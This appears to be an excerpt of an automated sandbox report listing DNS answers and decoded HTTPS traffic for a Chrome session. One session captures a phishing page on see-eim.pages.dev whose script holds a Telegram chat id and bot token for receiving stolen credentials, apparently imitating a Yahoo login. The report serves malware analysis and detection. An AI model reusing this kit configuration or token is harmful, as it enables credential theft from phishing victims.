Jan 11, 2024 00:27:33.866153002 CET	1.1.1.1	192.168.2.4	0x3f98	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:34.676811934 CET	1.1.1.1	192.168.2.4	0x4672	No error (0)	www.google.com		172.253.115.106	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.676811934 CET	1.1.1.1	192.168.2.4	0x4672	No error (0)	www.google.com		172.253.115.99	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.676811934 CET	1.1.1.1	192.168.2.4	0x4672	No error (0)	www.google.com		172.253.115.104	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.676811934 CET	1.1.1.1	192.168.2.4	0x4672	No error (0)	www.google.com		172.253.115.105	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.676811934 CET	1.1.1.1	192.168.2.4	0x4672	No error (0)	www.google.com		172.253.115.103	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.676811934 CET	1.1.1.1	192.168.2.4	0x4672	No error (0)	www.google.com		172.253.115.147	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.676827908 CET	1.1.1.1	192.168.2.4	0x6275	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:34.716943979 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:34.716943979 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	clients.l.google.com		142.251.167.113	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.716943979 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	clients.l.google.com		142.251.167.100	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.716943979 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	clients.l.google.com		142.251.167.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.716943979 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	clients.l.google.com		142.251.167.139	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.716943979 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	clients.l.google.com		142.251.167.138	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.716943979 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	clients.l.google.com		142.251.167.102	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:34.717633009 CET	1.1.1.1	192.168.2.4	0xef9	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:35.951597929 CET	1.1.1.1	192.168.2.4	0xfe42	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:35.951597929 CET	1.1.1.1	192.168.2.4	0xfe42	No error (0)	geo-atsv2.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:35.952934980 CET	1.1.1.1	192.168.2.4	0xa5f8	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.253.62.84	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:07 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
2024-01-10 23:26:07 UTC	1	OUT	Data Raw: 20 Data Ascii:
2024-01-10 23:26:07 UTC	1627	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 10 Jan 2024 23:26:07 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-gedp-nwZOaSEURxsKXQjqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-10 23:26:07 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2024-01-10 23:26:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.253.122.102	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:07 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:07 UTC	732	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-2-KV2UniIsfpHTV6_gS-0w' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 10 Jan 2024 23:26:07 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6218 X-Daystart: 55567 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-10 23:26:07 UTC	520	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 31 38 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 35 35 36 37 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6218" elapsed_seconds="55567"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2024-01-10 23:26:07 UTC	200	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2024-01-10 23:26:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:09 UTC	676	OUT	GET /login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:09 UTC	761	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:26:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 87601 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "a8939e5a085463ed0b92e943f45878d6" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pwEs4xE06LZ5Tz9A0y7zo82OrGoUFjIePeuG2XVG1wQefe1DvKF46P%2FnpNIAS%2FQXHX%2Fs8zFjaRObuPmRe%2FfjkDG78upwM3FfjqPbhDRdC6YCdbrg2VqaQqvX%2FQGNVKmpSJ4wag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438aeefc9498274-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 2f 2f 50 55 54 20 59 4f 55 52 20 54 45 4c 45 47 52 41 4d 20 49 4e 46 4f 52 4d 41 54 49 4f 4e 20 48 45 52 45 0d 0a 20 20 20 20 75 73 65 72 74 65 6c 65 67 72 61 6d 3d 22 35 36 30 37 33 38 35 34 39 36 22 3b 20 2f 2f 59 6f 75 20 43 61 6e 20 47 65 74 20 79 6f 75 72 20 69 64 20 46 52 4f 4d 20 48 45 52 45 20 3a 20 40 63 68 61 74 69 64 5f 65 63 68 6f 5f 62 6f 74 0d 0a 20 20 20 20 74 6f 6b 65 6e 3d 22 36 30 35 35 36 38 39 35 31 35 3a 41 41 48 72 51 66 54 4f 45 6b 37 65 61 43 59 37 31 57 79 72 79 63 31 7a 63 56 68 6f 79 34 39 55 62 57 30 22 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 68 74 6d Data Ascii: <!DOCTYPE html><script type="text/javascript"> //PUT YOUR TELEGRAM INFORMATION HERE usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0"; </script><htm
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 72 74 69 63 6c 65 2c 0d 0a 20 20 20 20 20 20 20 20 61 73 69 64 65 2c 0d 0a 20 20 20 20 20 20 20 20 64 65 74 61 69 6c 73 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 67 63 61 70 74 69 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 67 75 72 65 2c 0d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 68 65 61 64 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 68 67 72 6f 75 70 2c 0d 0a 20 20 20 20 20 20 20 20 6d 61 69 6e 2c 0d 0a 20 20 20 20 20 20 20 20 6d 65 6e 75 2c 0d 0a 20 20 20 20 20 20 20 20 6e 61 76 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 0d 0a 20 Data Ascii: body { margin: 0 } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section,
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 73 75 62 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 2e 32 35 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 66 69 67 75 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 34 30 70 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 Data Ascii: } sub { bottom: -.25em } svg:not(:root) { overflow: hidden } figure { margin: 1em 40px } hr { box-sizing: content-box; he
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 6e 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 3a 2d 77 65 62 6b 69 74 2d 6f 75 74 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 61 75 74 6f 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 72 63 68 2d 63 61 6e 63 65 6c 2d 62 75 Data Ascii: ing: border-box; padding: 0 } input[type=number]::-webkit-inner-spin-button, input[type=number]::-webkit-outer-spin-button { height: auto } input[type=search]::-webkit-search-cancel-bu
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 2e 31 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 35 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 2e 31 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a Data Ascii: font-weight: 300 } h1 { line-height: 1.2; letter-spacing: -.1rem } h2 { line-height: 1.25; letter-spacing: -.1rem } h3 { line-height:
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 66 69 76 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 39 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 69 78 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 34 38 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 65 76 65 6e 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a Data Ascii: width: 30.6666666667% } .five.columns { width: 39.3333333333% } .six.columns { width: 48% } .seven.columns { width:
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 6f 75 72 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 6f 75 72 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 34 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 69 76 65 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 69 76 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 33 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 Data Ascii: .offset-by-four.column, .offset-by-four.columns { margin-left: 34.6666666667% } .offset-by-five.column, .offset-by-five.columns { margin-left: 43.3333333333%
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 32 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 32 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d Data Ascii: .offset-by-one-half.column, .offset-by-one-half.columns { margin-left: 52% } h1 { font-size: 5rem } h2 { font-size: 4.2rem }
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 Data Ascii: } .button:focus, .button:hover, button:focus, button:hover, input[type=button]:focus, input[type=button]:hover, input[type=reset]:focus, input[type=reset]:hover, input[t
2024-01-10 23:26:09 UTC	1369	IN	Data Raw: 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 2c 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 Data Ascii: nput[type=url], input[type=password], input[type=number], input[type=search], select, textarea { height: 38px; padding: 6px 10px; background-color: #fff; bord

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:10 UTC	628	OUT	GET /rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://see-eim.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:10 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: Z75i+hCiWxZI2DURaDlFZTh8gJqyjmVDHeSTuYmnLWUtxRF4ya4GhTyJY6AUErwltQBsdCU1VFo= x-amz-request-id: TD52T152NX9G5NFK Date: Wed, 10 Jan 2024 11:35:22 GMT Last-Modified: Tue, 09 Jan 2024 21:32:09 GMT ETag: "cd166981c96c6d0f4b5a7d798c25878e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=86400 Expires: Thu, 11 Jan 2024 00:00:00 GMT Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 1346 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 42649 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
